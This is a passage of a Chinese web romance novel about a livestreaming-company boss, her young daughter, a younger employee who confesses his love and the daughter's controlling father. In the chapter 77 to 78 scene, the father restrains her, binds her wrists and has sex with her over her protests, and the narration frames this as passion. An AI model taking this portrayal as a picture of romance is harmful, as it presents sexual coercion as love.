星星就一会儿跟外婆弹一个过去,天天都是‘我好想外婆呀’、‘外婆你要注意身体哦’‘外婆你好漂亮呀’,把徐凤芝哄得心花怒放,有时候又很伤感,眼睛发红,骂喻梨不孝,让她跟外孙女分离。 家里星星的衣服玩具快堆不下,有沈砚派人送的,有徐凤芝、蒋然寄的,越堆越多,冬季的还未传完,春季的已经让人送过来,喻梨不得不抽空跟阿姨一起整理,给星星弄出一个单人的衣帽间。 沈欣瑜闯进她办公室撑着桌说:“你到底怎么伤小奶狗的心了,那可是咱们公司的摇钱树,要被人挖走了!” 喻梨正在看这个月的财务报表,闻言有些诧异:“祁阳想解约?” 沈欣瑜一屁股做到她办公室沙发上,翘起双腿:“我不管啊,人你得给我留住,祁阳的直播间流量正是上升期,说不定能成为J姐那样的爆款。” 喻梨沉思片刻:“他本人找你谈过?” “暂时没有,我听到点儿风声,有唱片公司想挖走他。” 喻梨想了想:“祁阳的合约还有三年,即使有人想挖他,也是一笔不菲的违约金,是祁阳自己付,还是唱片公司帮忙付?” “你关心重点吗?重点是,祁阳不能走,咱们培养一个账号容易吗?” 喻梨说:“走与不走,不在你我,在他自己。” 沈欣瑜翻了个白眼:“所以我才赶紧来找你,为了公司,你再多睡两三年呗,人家年纪轻轻,配你你也不吃亏啊。” 被喻梨随手扔了一支笔过来精准砸中脑袋。 沈欣瑜疼得眼冒泪花:“你没救了你,你出家当尼姑吧你,这么个大帅哥你都心如止水。” 喻梨又好气又好笑,摇摇头。 隔两天,她还是跟祁阳在办公室谈话。 因为是公事,倒也没什么不自在。 “有唱片公司想签你?”喻梨问得很直接。 “你会留我吗,你留的话,我会留下。”祁阳看她的目光,依旧含着情愫。 “这是公事,我现在是你老板,我希望你说实话,因为这涉及到公司今年的整体布局。”喻梨一副公事公办的口吻。 “对方看中我写的歌,打算帮我出专辑,后期的计划也跟我聊过。”祁阳口吻有些艰难。 “那你要考虑两个问题,第一,跟公司的违约金是你自己支付还是对方帮你支付,第二,你也知道现在的唱片公司不景气,你过去以后的发展会非常不确定,不一定比现在好,但如果歌手是你梦想,你当我没说。” 祁阳眼底隐约有光:“你在关心我。” 喻梨目光坦诚:“以你老板的名义,我们公司任何一个员工离职前,我的谈话内容都是这个,不会变。” 祁阳温暖的笑容便有些苦涩:“你还真是不留一点活口啊。” 他笑起来跟沈廷屹太像,喻梨似乎不敢触碰那丝苦涩,垂眸,掩下情绪。 “是你说的,去更多的地方,遇见更多的人,我想是时候了。”良久,祁阳说。 喻梨明白他意思了。 他出去之前,喻梨还是忍不住问他:“我能问一下,是哪家唱片公司吗?” 祁阳说了个名字。 确实是一家非常有实力的唱片公司,对方开出的条件确实很好,高昂的违约金由唱片公司全权支付,给祁阳配置的经济团队也是目前顶流的团队,后续发展前景毋庸置疑。 但喻梨还是觉得蹊跷,试探问了问蒋静姝。 蒋静姝给出的答案是,唱片公司承诺的资源应该不会有假,祁阳直播间目前也算小有名气,还上过几次热搜,歌也写得不错,长相放娱乐圈里,拧出来也算能打的,看中她的经纪人应该已经计较过。 喻梨便放心下来。 但蒋静姝话锋一转,问她:“是宏鑫资本看中祁阳吗,这家唱片公司跟宏鑫资本挂钩,你们公司是准备往娱乐圈输送人才,多元化发展?” 喻梨微微皱眉,电光火石,想到什么。 跟蒋静姝通完电话,她考虑了很久,要不要给打给沈砚。 祁阳被宏鑫资本挂钩的公司签走,喻梨很难不联想到沈砚。 第76章 第76章算我求求你,去过你自己…… 喻梨的电话还没打出去,沈砚的信息已经进来{星星下学期的幼儿园你选好了吗”} 沈砚上次给的资料,喻梨已经根据资料挨着考查过,其中有两家不错的,但是距离目前居住的地方太远,虽然有校车接送,到底是不太方便。 但喻梨知道应该尽快做出决定,否则等到开学,就来不及。 {我不想跟你讨论这种事。}喻梨回复道。 有一就有二,有二就有三,对于沈砚参与星星的生活,喻梨是排斥的,但沈砚是那种,只要撕开一丁点儿口子,他便会趁虚而入甚至反客为主的个性。 譬如,原本两人已经达成协议,沈砚不可以通过刘昕和赵阿姨掌握星星的动向,但沈砚最近以此为借口,改为冠冕堂皇骚扰她,经常问她,星星在干什么,大多是晚上的时间,会直接将视频打到她这里,要求跟星星对话,或者要求发一段星星今日的视频给他。 有一次喻梨还在公司加班,便直接挂断,但是架不住 沈砚理直气壮,执着地打来第二通,喻梨不胜其扰,直接出会议室呵斥他:“沈砚,不是谁都像你一样管理公司不用加班十分清闲,星星没有你的问候,每天也一样开开心心,你可不可以不要给自己加太多戏!” 那晚,也是因为后台运营问题,差点酿成大行直播事故,团队紧急开会商量救场方案,喻梨因为突发事件以及替星星选学校的事忙得团团转,对沈砚,算得上是迁怒,但内心深处,确实不愿意因为星星跟他有太多牵扯。 她一股脑儿呵斥他一通,电话那端,沈砚情绪平稳,口吻关心:“你还在加班?” 喻梨看一眼会议室里还在因为事故争论的同事,挂断电话。 约莫四十分钟后,有外卖送宵夜来。 同事问外卖员是否送错,对方肯定,是以喻小姐的名义定的,开完会的喻梨一脸懵,但很快想起什么,勉强应了。 同事欢呼雀跃,赞喻老板大手笔,大半夜点这么多奢侈宵夜,太nice了吧。 只有沈欣瑜看出端倪,茶水间泡咖啡时,揽住她肩膀,一脸八卦:“所以,是有新的追求者?那个天天送你黄玫瑰的?照今晚这手笔,难怪小奶狗比不过。” 喻梨懒得搭理她,但对沈砚,有种一拳挥在棉花上的感觉,她的任何情绪,他仿佛都照单全收。 但越是这样,喻梨越发厌倦与沈砚的交集。 回完信息,喻梨走出书房,她听见有人按门铃。 果果正在跟星星玩游戏。 方姨开的门,进门的是加班回来的许英。 许英手上还抱着一大摞文件,进来就把资料放在桌上,朝果果张开双手,一脸歉疚:“宝贝,妈妈回来晚了。” 果果跟星星玩得正入迷,没有理会妈妈。 许英就走过去,把儿子小脸蛋掰过来狠狠亲一口。 喻梨从冰箱里拿出一瓶饮料,扔给她。 许英累得倒在她家沙发上,扭开瓶口,狠狠灌了一大口:“晚上搞点啤酒跟烧烤怎么样?” “你不减肥了?” 许英叹口气:“牛马只配有生存焦虑,不应该有身材焦虑。” 把喻梨逗笑:“随便你,但是得等她俩睡觉。” “我现在真的没有伺候果大爷洗漱的力气。”许英往沙发后倒,眯了几秒钟。 而后,认命地招呼果果:“宝贝,走,回去洗漱,上床睡觉啦。” 沈砚不久后还是打来电话,喻梨都懒得应付,直接将电话交给星星。 星星刚洗漱完,就一边玩脚丫子,一边拿着手机跟沈砚牛头不对马嘴地聊天,她年纪小,很多东西都表达不清楚,含糊不清、天马行空,沈砚也不会觉得烦,耐心回应她,隔了会儿,要求她:“星星,把电话给妈妈好不好?” 喻梨正在收捡星星床上堆满的娃娃,星星听话得将手机递给喻梨:“妈妈,大伯找你。” 喻梨看一眼天真的女儿,心绪烦躁,但还是接起来:“什么事?” 沈砚听到她声音,缓缓说:“星星选好学校,开学的时候,我想送她去新学校。” 喻梨深呼吸一口气,看一眼床上跟娃娃玩的星星,不想在星星面前跟他争执,于是走出星星儿童房,半插着腰,克制着脾气:“你以什么名义送她?沈砚,你不觉得自己要求越来越离谱!” 电话那端,沈砚呼吸极轻。 片刻后,他轻轻说:“星星今年三岁半,从出生开始算,有三年多的成长我没有参与,以后的,我不想错过。” 听起来像个负责人的好爸爸。 喻梨冷笑,忽然说:“沈砚,你知道我爸爸以前把我宠成公主吧,但是你知道真正养成我在学校肆无忌惮娇纵成性的人是谁吗?” “是你!” “你可以轻而易举把一个人捧起来,让她以为自己是宇宙的中心,但是你把她摔下去的时候,也可以冷漠到扭头就走,毫不留恋,我一直膈应你见星星,不为别的,是出于对星星的保护,我情愿她没有爸爸,也不希望她在习惯你的宠爱后,失望透顶!” “算我求求你,去过你自己的生活,你想跟任何女人,生几个算几个,离星星远一点!” 说完,喻梨挂断电话。 她站在儿童房门口,走廊灯已经熄灭,手机也逐渐息屏,漫长的几分钟后,喻梨发现自己在掉泪。 很多年了,喻梨以为自己已经忘记,不会为这个人掉一滴眼泪,以为自己强大到已经不屑于祈求任何人的情感,但原来无论隔多久,她依然是孤零零站在原地,被人抛弃,委屈到孤立无援的少女。 第77章 第77章嗯,看到了,你手上的玫…… 许英果然提了啤酒喝烤串来,发现喻梨眼睛是红的。 两个人在露台上喝酒撸串。 喻梨把自己的故事补充完整,她说他以前对她,跟对星星是一样的,有过之而无不及。 你得到过那种宠爱吗,然后被断崖式放弃。 那种滋味,让人在异国他乡都反思自己是不是真的不配,不值得,是不是做错许多,连一个改正的机会都不配得到。 许英讲她跟前夫哥是大学自由恋爱,追他的时候有次的她感冒发烧,下午在寝室睡觉,他花钱让附近一家小吃店的老板熬了粥,借了件女装外套从宿管眼皮子底下溜进去送给她,学生时期做兼职赚的第一份钱是给她买她喜欢的裙子,毕业时在公司实习,月薪很低的时候,自己啃泡面也要打钱给读研究生的她,当然她对他也付出很多。 两个人白手起家,走到现在,以为日子会越过越好,但是不妨碍他出轨。 爱过是真的,但是出轨也是真的。 跪下来求她不要离婚的时候流的鳄鱼的眼泪也是真的,离婚半年后换的小女友也是真的。 有些时候已经不知道什么是真的,什么是假的,也许世界上所有的爱,都用来骗那些一心一意的傻子,也许爱原本就很宽泛,是她太浅薄,停留在原地,不懂进步,也许…… 谁知道呢? 两个人都有点喝醉了,最后各自倒头就睡,成年人把不开心都留在夜晚,第二日在孩子面前,依然精神抖擞得扮演好妈妈和社畜的角色。 隔两天喻梨生日。 她其实已经忘记自己生日,是徐凤芝忽然给她邮寄了一只翡翠镯子,温润光滑、通体透亮。 跟她说,玉保平安的,蒋然陪他选的,又专门找大师开过光,她要是喜欢,就戴戴看。 喻梨莫名其妙,问她好好的怎么给自己邮寄礼物。 徐凤芝笑话她,真是忙到自己生日都不记得。 喻梨恍然大悟,但看到那只玉镯,忽然忍不住掉眼泪,想起喻父进去前,送给她的那串沉香珠子。 父母之爱子,大约都只是希望儿女平安,喻父对她如此,徐凤芝对她也如此,生命的尽头,徐凤芝忍着痛苦,还记得准备给她的最后一件生日礼物。 喻梨忍着哭腔,跟许凤芝说,最近手上事情忙完了,等星星学校定下来,可以回北城陪她两天。 下班前,公司忽然停电了。 喻梨正纳闷,出办公室,发现外面格子间一个人都没有,她正瘆得慌,助理张蓓忽然捧了一只插了蜡烛的蛋糕出来,唱起生日歌,躲着的同事们也纷纷跳出来,合唱。 场面弄得挺温馨的,搞的喻梨有些哭笑不得,她想了想说:“谢谢大家,这一刻,感觉很幸福。” 同事们嘘嘘她,说喻老板最近变得很感性嘛。 沈欣瑜说:“光感性不行,今晚全场喻老板买单,包厢我定的,咱们走起!” 难得下了个早班,公司里20来号人,年轻人居多,搞的声势浩大,玩得也挺疯。 唱歌,划拳,还有才艺表演。 张蓓送的礼物是喻梨平日的剪辑视频,她开会时正经严肃的样子,垂眸签字时娴静温婉的样子,年会上发言时激情澎湃的样子,请客 给同事买饮料豪爽大气的样子,7分钟的视频,外加全体员工的祝福,做得诚意十足。 “喻姐的美貌霸屏啦啦啦!” “不行啦,我是女的,今天也是为老板心动的一天……” 沈欣瑜最夸张,就坐她旁边,抱着她吧唧就是一口:“我的!”说完,不知有意无意,瞄了一眼角落里的祁阳。 祁阳现在虽然算小有名气,但一直很低调,聚会的时候,他通常属于半隐身那种,穿得也黑衣黑裤的,连酒都很少喝,不怎么喜欢跟别人闹腾。 老实说,以他的性格,其实不大适合做直播,但他还是坚持下来,直播做成自己独特风格。 沈欣瑜被喻梨一巴掌拍开:“滚啊你,全是口水。” 场面热热闹闹的,搞直播的公司,才艺表演是强项,唱歌斗舞的,不在话下。 不知道谁起哄,让阳哥来一个,一下子,大家都开始起哄。 祁阳被推到中间,想了想,拧上自己的角落里的吉他说:“写了首新歌,那就送给老板。” 是首挺慢的情歌,包厢里灯光明灭,祁阳冷白修长的手指拨弄吉他,坐姿散漫,黑色衬衣领口松开两颗,更显慵懒,嗓音在安静下来的包厢里,低沉、磁懒、悦耳,又深情…… 大家都知道他喜欢写歌,直播时偶尔也会给粉丝弹自己写的歌,歌词涵盖生活、梦想、友情、爱情,皆有,这会儿送给喻梨,也不算突兀。 但歌词透着几分伤感、破碎,以及暗恋到绝处的深情,将大家都听愣了。 一曲弹完,包厢里哗啦啦都是掌声。 “这歌不火,天理难容啊!” “阳哥就是秀!” “阳哥帅死我算了。” “舍不得阳哥走……”祁阳有可能签约唱片公司的事,在公司已经不是秘密。 据说只剩具体的走合同。 全程,祁阳都低头弹唱,克制着没有凝视喻梨一眼,符合他给人疏离淡漠的印象,因此谁都没有把他的歌词跟喻梨联系起来。 “老板生日快乐。”最后,他简简单单的一句,语气真诚,也很克制。 很快坐回角落里,表情也隐匿在暗色里。 只有沈欣瑜在喻梨旁边偷偷咬耳朵:“这歌词不是写给你的,我把酒杯都吃了。虽然很老套,但再倒回10年,有人给我写歌表白,我能当场扑上去挂他身上!你真的不心动?” 喻梨偏头看她,冷静:“你都说了,再倒回10年。” “渣女啊渣女。”沈欣瑜喝得半醉,骂她。 谁都不是年少时,容易心动的时候了。 结束后,时间当然已经很晚。 喻梨去结账单,沈欣瑜安排同事们回家,特别是女孩子,嘱咐到家后一定要在群里报个平安。 喻梨结账时,发现已经有人结过。 她以为是沈欣瑜,刚店门口,看见只剩祁阳跟沈欣瑜。 “你付过账单了?”喻梨便问她。 沈欣瑜挤眉弄眼的:“我可没那么积极,生日快乐啊宝,我司机到了,就不管你了,拜拜。” 喻梨便明白过来,看向祁阳。 祁阳似乎在思考什么,有些心不在焉的。 2月的夜风,还带着冷意。 祁阳穿了件黑色夹克,发丝打理得很平整,俊脸清秀,但眉峰深邃,看她的目光有些忐忑:“能耽误点时间送你回家吗?” 喻梨就知道他是有话要对自己说,正好她也有话跟他说,微微颔首。 两个人步行到祁阳车上,他今晚借口感冒,滴酒未沾。 解锁时,喻梨看他新车,提了一嘴:“换车了?” “嗯。”他点头,按开了后备箱,那里铺满了精心设计过的鲜花跟气球,以及设置成心形的告白卡片。 喻梨愣住。 祁阳望向她:“你跟我说,喜欢一个人,竭尽全力,并没有什么错。我想最后竭尽全力一次。沈总说应该在气氛高潮的时候当众向你告白,但我想,那不是你喜欢的方式。” 下一刻,他单膝下跪,将车厢里的一束玫瑰花捧出来,望向她的目光虔诚又勇敢:“喻梨,我真的很喜欢你,生理性和心理性的都有,我知道我的条件可能匹配不上你,也不敢跟你承诺太多,但我这一生,绝对不会辜负你。你愿意跟我交往试试看吗?” 深夜的底下停车场安静无人,光线也有些昏暗。 但后车厢的小彩灯亮晶晶的,映衬着男人的眸子,也很明亮生动。 喻梨单手揣在兜里。 年少时期,这样的告白喻梨一年要遇上两三次,已经腻味。 但今晚,大约是有些微醉,很难不动容。 她没直接拒绝,而是把玫瑰花里的银行卡拿出来:“这个是?” “我这几年赚的所有积蓄,本来想买房子,但是希望跟另一半商量好定居的地方。” 喻梨笑了:“还第一次碰见有人拿银行卡告白。” 祁阳的耳廓微微泛红:“我不知道怎样才算真诚,又不能把心掏出来你看。” “你存了多少了?”大概真的是有些醉,喻梨饶有兴致问道。 祁阳报出一个数字。 喻梨惊讶,以他的收入,这笔7位数的存款,确实不容易。 想起去他家租住的那栋老房子,喻梨忽然觉得手里的银行卡有些烫手。 她将银行卡放回去。 祁阳看见,眼神稍微黯了黯,但仿佛早就预料到结果,也只是垂着视线沉默。 喻梨也静了片刻,然后把花接过来:“花很漂亮,卡就不用了,我现金流也不多,害怕自己心动,真的会用。”她调笑道。 然后走到副驾驶,拉开车门。 祁阳愣住,这算是接受,还是没有接受。 但他很快站起来,有些紧张得坐上驾驶坐上。 喻梨捧着花,祁阳连钥匙都紧张得忘记插进去,因此车内,一片漆黑,只有停车场的微光。 喻梨开口说:“唱片公司的事你怎么想的?” “梦想跟现实我能分清楚,其实在直播间,能唱唱歌也很快乐,如果签约成为艺人,就是全方位发展,综艺、电视剧、歌手,也许最后都不能一心一意写歌。”祁阳说得很坦诚,“但如果被你拒绝,那里可能是我最好的归宿,要我日日忍耐,只作为你的下属,是种折磨。” 喻梨笑了一下,因为他的实诚。 她想了想:“每个人应该为自己的前程负责,你的事,你自己做决定,我不会管。但有件事,想提前跟你说清楚,我孩子的爸爸,可能会介意我们的关系,他有一定人脉,我不知道唱片公司想签约你的事是不是跟他有关系,但你不要因此否定自己的才华,我可以很明确的告诉你,我认识的大部分经纪人,都明确你是有才华的,也是有很大商业价值的。” 祁阳大概从没想过唱片公司的签约会跟这个有关,暗色里,眼神惊讶,又似乎痛苦。 “我最近……”喻梨看一眼手上的玫瑰花,轻轻吸了一口气,很快嗅到花朵芬芳,“会有结婚的想法。签订婚前协议那种。” 祁阳这次更惊讶。 喻梨不是心血来潮,许英作为业内顶尖律师,太了解这种抚养权争夺案,以沈砚的财力,他有一整个律师团可以跟她争夺星星的抚养权,按照许英的建议,她唯一胜算,是有一个健全的家庭,可以给予星星最好的成长。 原本,喻梨想过,沈砚在北城,不会无孔不入地侵入她与星星的生活,一定程度上,她可以跟他和平共处,去忍耐。 但那晚,喻梨忽然明白自己对于沈砚真正的排斥是什么? 如果不幸是人生的常态,那就尽力守护自己拥有的部分。 星星是她世界上最重要的人,她绝对不可以失去星星。 “是为了星星的监护权,我知道这样对另一方会很不公平……” 祁阳咽了咽喉咙,声音夹杂着紧张 过后的坚决:“是我唯一的机会吗?”黑暗中,他侧头问她,眼神异常明亮。 喻梨似乎有点受不来那种眼神,心里叹口气:“祁阳,跟我在一起,要承担的东西很多,我有女儿,已经没有办法全心全意投入一段感情,而且比你大,你要考虑……” 被祁阳很快吻住,他捧起她的脸,吻得热烈又执着。 喻梨回家时,手上还拿着那束玫瑰花,到小区门口,他对祁阳说的依旧是请他慎重的考虑,这不是小事。 但是祁阳很坚决。 喻梨就也不知道该高兴还是不高兴,但被人如此热烈的喜欢,大概是高兴的。 已经快12点,客厅里静悄悄的,却被人点了很多蜡烛,听到响动,沙发上的男人转过身,望向她。 玄关灯亮起,喻梨手上还捧着一束玫瑰花,从沈砚的角度看过去,她表情很快凝住,脸上妆容很淡,唯有唇色鲜艳欲滴,很明显跟人撕磨过。 沈砚是下午飞过来的。 跟星星一块儿布置家里,要给喻梨惊喜。 但一直到10点多,星星困得不行,喻梨依然没有回来。 沈砚只能驱车,打算去公司接喻梨,有留守值班的公司同事看他气质卓越,不像找茬的,很快说出今天老板生日,公司一半以上去给老板庆祝生日。 沈砚要到地址,不想打扰她兴致,在门口等了一会儿。 又让人看喻梨在哪个包厢,让人把账单付了。 但喻梨和沈欣瑜当时都误会是祁阳付的。 看见喻梨出来时,沈砚推门下车,本想过马路接她,走到一半,发现她跟祁阳抬步去往停车场。 沈砚脚步只停顿了一秒,有些自虐般跟上去。 然后在停车场撞上祁阳告白的一幕,隔得远,两个人说什么,他听不清楚,但喻梨收了花,直接坐上副驾驶,态度可见一斑。 喻梨上车后,沈砚就转身出了停车场, 有那么一瞬间,他劝自己应该放手,因此吩咐司机直接去机场。 但只隔了两分钟,他便面色冷冽的让司机改了地址。 此刻,沈砚坐在沙发上,面色平静地抬手点面前的生日蛋糕上的蜡烛,烛光微弱,他袖口上挽,露出的一截手腕冷白,修长有力,腕上黑色名表式样简洁。 茶几上有大束的弗洛伊德玫瑰花,以及被精心包装的首饰礼物。 客厅布满了香薰蜡烛,烛光微亮,无数光影晃动,空气里弥漫着好闻的香薰味,明明氛围浪漫得不像话,喻梨却觉出一丝诡谲。 喻梨脚步有些许迟钝,但还是走近他:“你怎么在这里?” 沈砚偏头看她,目光从她手上那束玫瑰花上很快划过,落到她被烛光晃得莹润的脸颊上,口吻正常得不能在正常,温和解释说:“想跟你说生日快乐,跟星星一起布置了很久,星星困了,已经睡了。” 说完,他带着腕表的手拍了拍沙发旁边的位置,示意她坐过来。 烛光里,他脸英俊极了,长睫下的桃花眼里有烛火闪动,衬得那样深情,但眸色太深了,脸上线条锋利桀骜,又显得那样薄情,他半敞着腿,手肘松松搭在膝盖上,西服规整得放置在沙发另一侧,白衬衫夹灰色马甲,将肩宽腰窄的比例拉到极致,视线那样温和平淡,却总让喻梨隐约有种后背发凉的感觉。 喻梨刚准备说不用,已经被他抬手拉下来,一屁股坐在他旁边:“许个愿,吹蜡烛。” “已经很晚了,沈砚,你应该先回……”喻梨理智的提醒他。 但沈砚已经将蛋糕举到她面前,平静重复一遍:“许个愿。以前再晚,你也要等我到再吹蜡烛。” 两个人隔很近,蛋糕上的烛火印出彼此神色,沈砚俊脸在烛光中英俊到极致,也诡秘到极致,仿佛极力克制着什么。 喻梨跟他对视片刻,隐约察觉到他身上气质的不同,闭了闭眼,然后吹灭蜡烛:“这样可以吗?你可以走了吗?很晚了,我想休息了,沈砚。” 沈砚将蛋糕放在茶几上,又问她:“许得什么?你以前说我是多啦A梦,有我在,你什么愿望都能实现,说说看。” “我以前太幼稚,说过的很多话都不作数。你忘记吧。”喻梨忍不下去,做势要起身,被沈砚很快拽过来。 这次他很用力,一把拽她坐到自己腿上,抬手已经牢牢箍住她腰身。 喻梨挣扎,却被他很快遏制住,眸色溢出一丝不耐:“沈砚,你发什么疯!” 沈砚低笑,嗓音低磁,去含她唇瓣:“早疯了,你逼的,怎么,你没发现吗?” “沈……”她吼他,却被他堵回去,咬她嘴唇。 “嘘,会吵醒星星,你小声点儿。”咬完,他又安抚性撕磨片刻,含着她唇瓣低语。 喻梨终于意识到他要做什么,因为沈砚已经单手摘下领带,一边亲她,一边绑她手腕。 喻梨确实克制着,不想吵醒星星,大约总觉得以沈砚的修养,不至于,于是嘲讽他:“你不介意你就做,我刚跟人吻过,你要吃别人的口水……” 沈砚依旧笑,桃花眼疯狂又偏执:“嗯,看到了,你手上的玫瑰花也看到了,所以,我们去洗干净好不好?” 第78章 第78章山路陡峭,奇异的是,他…… 以喻梨对沈砚的刻板印象,他那样清冷高贵,又自恃冷傲,不至于真的强迫一个女人。 所以直到被他抱紧主卧浴室里时,喻梨都没有剧烈挣扎,以防止星星真的被吵醒看到这不堪的一幕。 沈砚打开头顶花洒,两个人身上被迅速淋湿,喻梨冷眼看他:‘沈砚,我对这种事没什么道德感,也没什么精神洁癖,谁都可以,但你试着想想看,做完以后我会怎么对你?’ 沈砚单手解衬衫衣扣,眼底赤红,水蒸气把他身上肌理也很快晕染出一层薄薄的红晕,冷白的肌理下面,是垒得结结实实的肌肉。 他没说话,看她的目光是足以穿透水汽的锐利,指腹磨了磨她唇瓣,仿佛要磨去什么,力道有些重,喻梨嘶痛一声,他已经掰起她下巴,强势又直接的吻过来。 喻梨双手被绑住,身体被迫后仰,被迫承接这个吻,他力道很凶,近乎扫荡,她也不甘示弱,咬他唇瓣出血迹,他握她下颌的手指收紧,黑眸压下来,近在咫尺地看她,勾唇,冷笑:“不是说谁都可以?” 她提醒他:“你清楚你自己在……” 她话还没说完,他抬手解开她衣领,腿牢牢压制住她,他手指探到她肌肤的地方像摆弄某件乐器,舒缓,悠扬,带着独有的节奏感,唇舌放弃她唇瓣,一口咬到她白皙的锁骨,她身体不自控的酥麻,脚指头无意识绷紧。 整个浴室被水汽蒸腾,模糊到看不清楚,但彼此感官被无限放大,她不知道什么时候被他放开双手,吻她唇瓣时安抚性意味极重,她几乎已经没力气挣扎,纤细白皙的胳膊松松垮垮搭在他肌肉紧绷的肩膀上,无意识的留下几道抓痕。 整个世界静默无声,耳朵边只剩高压的水声,和浓重的喘息又很快被彼此吞没的声响。 甚至不记得多少次,脑子历经几次空白,喻梨仿佛断片,模糊只记得被他抱出去,她被养娃娃一样被他摆弄,像是花很短的时间就轻易掌控她身体,床单被迫褶皱、潮湿…… 非常混乱的感觉,喻梨不知道自己怎么睡着了。 半梦半醒时 已经被他抱进客卧,她躺在他怀里,长发在他指尖一缕缕划过,吹风的热气很温柔,她浑身笼罩在那层暖洋洋的热气里,身上肌肉仿佛失去知觉,连想扇他巴掌的力道都没有,眼皮很重,半阖半醒,他低头吻了吻她侧脸,提醒她:“睡吧。” 像年少时夏季的午后,长途旅行,他带她去山间露营,车道两旁树影交错,光影斑驳,她坐车疲累,靠在他肩膀上,听着夏日的蝉鸣声睡着。 山路陡峭,奇异的是,他身上气息安稳,仿佛一世安稳。 第79章 第79章我们去跟妈妈道歉好不好…… 等喻梨睡去,沈砚在客房露台外点了一支烟。 深夜,万籁俱寂,他衣衫半敞,棉质休闲裤抽绳的上方,肌肉铺平,带一股紧绷后的松懈感,透过客卧狭窄的门,薄唇咬着烟头,视线长时间停留在床上阖眸的女人身上,目光深邃幽静。 第二日早晨,天光大亮时,喻梨才幽幽转醒。 脑子里习惯性过了一遍今日计划,要带星星去参观新学校。 客厅里隐约传来星星稚嫩的声响,喻梨看了一眼身处的客卧,抱膝在床头坐了一小会儿,然后推门出去。 赵阿姨刚收拾完主卧,抱着床单被套出来,大概是对这种事习以为常,还能面不改色的向喻梨说早安。 客厅里星星的嗓音很清脆:“大伯,给你吃小猪鼻子。” 沈砚不知道说了句什么,星星咯咯咯笑得很开心。 喻梨直接回主卧,整个人房间已经被赵阿姨拾掇得整洁一新,连浴室也都收拾好,仿佛昨晚的混乱是一场幻觉,她洗漱好,扎了个简单的马尾,换好居家衣服推门出去。 沈砚正跟星星一块儿吃早餐,星星坐在他腿上,边吃边玩,把自己的小猪馒头一点一点地投喂给沈砚,小女孩刚起床不久,还穿着睡衣,头发也乱糟糟的,但浑身上下,白嫩嫩的一团,糯米团子似的惹人爱。 “妈妈小懒虫,羞羞羞。”小姑娘见到起晚的喻梨,还刮鼻子羞她。 顺着星星视线,沈砚望过来,眸色平静,昨日的疯狂与偏执仿佛通通消失,浅灰色休闲服穿得很随意,气质慵懒。 骨节分明的手指有些讨好地推了一杯牛奶过来:“热的。” “妈妈,给你吃小猪耳朵。”星星也举起手上掰下来的小猪馒头,招呼她。 喻梨一个都没搭理,转身去咖啡机,给自己磨了一杯手冲咖啡。 沈砚偏头看她,弯腰时,她脖颈露出的一小截肌肤,有细碎的发丝黏在上面,那里的皮肤非常白,也非常敏感,含吮时,她身体反应会非常诚实,至少,比她嘴巴诚实。 他眸色深了深,喉结稍稍滚动。 看星星吃好,他亲自抱星星去洗漱,将小姑娘直接放在洗漱台上,问哪个是她的儿童牙刷。 星星全程跟他互动,刷牙时调皮地将泡泡抹在他领口上,被他发现后,笑嘻嘻往后躲,等沈砚拿儿童毛巾给她擦脸,小姑娘又嫌弃她手重,小脸都被她擦红,嘟着嘴巴吐槽他:“笨蛋大伯。” 父女俩嬉闹声响从洗漱间不时飘出来。 喻梨半靠着原木桌品咖啡,赵阿姨已经在收拾客厅,问她:“喻小姐,这堆礼物需要帮您拆了放衣帽间吗?” 是个阴天,但客厅里堆放的礼物非常多,也非常打眼,简直像过圣诞节。 旁边一大束火红的玫瑰花依然热烈鲜艳,并未随着过去的一夜凋零,花瓣似乎开得更饱满,莹润,轻轻一掐,能挤出汁水似的。 喻梨也只扫了一眼,不知道在想什么,没有说话。 赵阿姨自顾数了数,11份,标注着年份,最后一份是把车钥匙。 “沈先生真是有心,您跟他认识很早吧,从您17岁送到现在。”赵阿姨领着两份工资,时刻不忘说另一位雇主的好话,何况这样大的手笔,她活这么大年纪,作为女人,也是羡慕的。 喻梨垂眸想着什么,仿佛没有听见。 但星星听见了,咚咚咚跑出来,拽起喻梨的手指:“妈妈,我们去……去拆礼物。” 小孩子对这种事,总是天然有兴趣。 喻梨被她拽到的堆放的礼物边,小女孩也就比那束玫瑰高一丢丢,用力地深深吸了口气,像宫崎骏动画里的小女孩,夸张说:“好香啊。” “妈妈,快拆开看看,大伯说要等你回来才能拆。”狠狠嗅完,星星瑶瑶她手指,提醒她。 沈砚也走出来,单手插兜,有些沉默地望向母女俩,目光很快只落在喻梨脸上,张唇似乎想说什么。 喻梨没理会星星,抬手看一眼腕表,提醒她:“去换衣服,今天要去看新学校。” 说完,牵着不情不愿的女儿的手往卧室走。 路过沈砚身边时,被他轻轻拽住手臂,口吻有几分涩意:“我们谈一谈?” 喻梨偏头看他一眼,拂开她手臂:“抱歉,沈总,我们之间,已经错过好好谈的机会。”说完,她带星星去了儿童房。 换衣服的时候星星好奇问她:“妈妈,为什么要去新学校?” 喻梨其实一直没跟星星讲转学的事,一是不知道怎么开口,二是怕她接受不了,但今日她心绪浮躁,回答得就直接了点:“下学期咱们去新学校,认识新朋友好不好?” 星星站着,让妈妈给她换毛衣,闻言小脸蛋揪起:“可是我想茉莉、想王书语、还想方老师,甜甜老师。” 望着星星天真的小脸,喻梨就不知道该怎么跟女儿解释,只能敷衍一句:“没关系,今天先去看看,星星喜欢新幼儿园再选择好不好?” 星星顿时不乐意了,一屁股蹲坐在她的儿童小床上,撅着嘴:“我不去。我不喜欢新幼儿园,我要跟茉莉一起上学。” 喻梨深吸一口气,口吻重了些:“星星!” “妈妈大坏蛋,我不去新的,不去,不去!”星星委屈极了,哇得一声哭嚎起来,“我要跟外婆说,还要跟大伯说,我不去新幼儿园,不去,不去……” 她只提‘外婆’还好,提到沈砚,喻梨彻底受不了,语气严厉:“你再跟我嚎一嘴试试!” 星星被吓到,扯着嗓子轰轰烈烈地哭得更厉害。 隔壁沈砚听到,赶过来,他其实已经换了西服,还没扣好袖扣,听见星星哭声,推门一看,喻梨站在星星面前,脸色很难看,星星哭得撕心裂肺,两只小腿在床上撒泼打诨,伤心欲绝的小模样。 沈砚把女儿抱起来,轻轻拍她柔软的背脊安抚,星星还在嚎:“妈妈坏蛋!哇呜呜……我不去,不去新的……” “好好好,不去了。”沈砚极力安抚小姑娘,任她鼻涕眼泪糊在他刚换的定制西服上,看怀里女儿的目光柔软。 喻梨站在旁边,冷冷看着这一幕,忽然说出一句:“不要了。” 怀里星星哭声嘹亮,沈砚没听清楚,望她一眼,看见喻梨目光落在星星身上,面无表情的:“不要了,你喜欢拿去好了。” 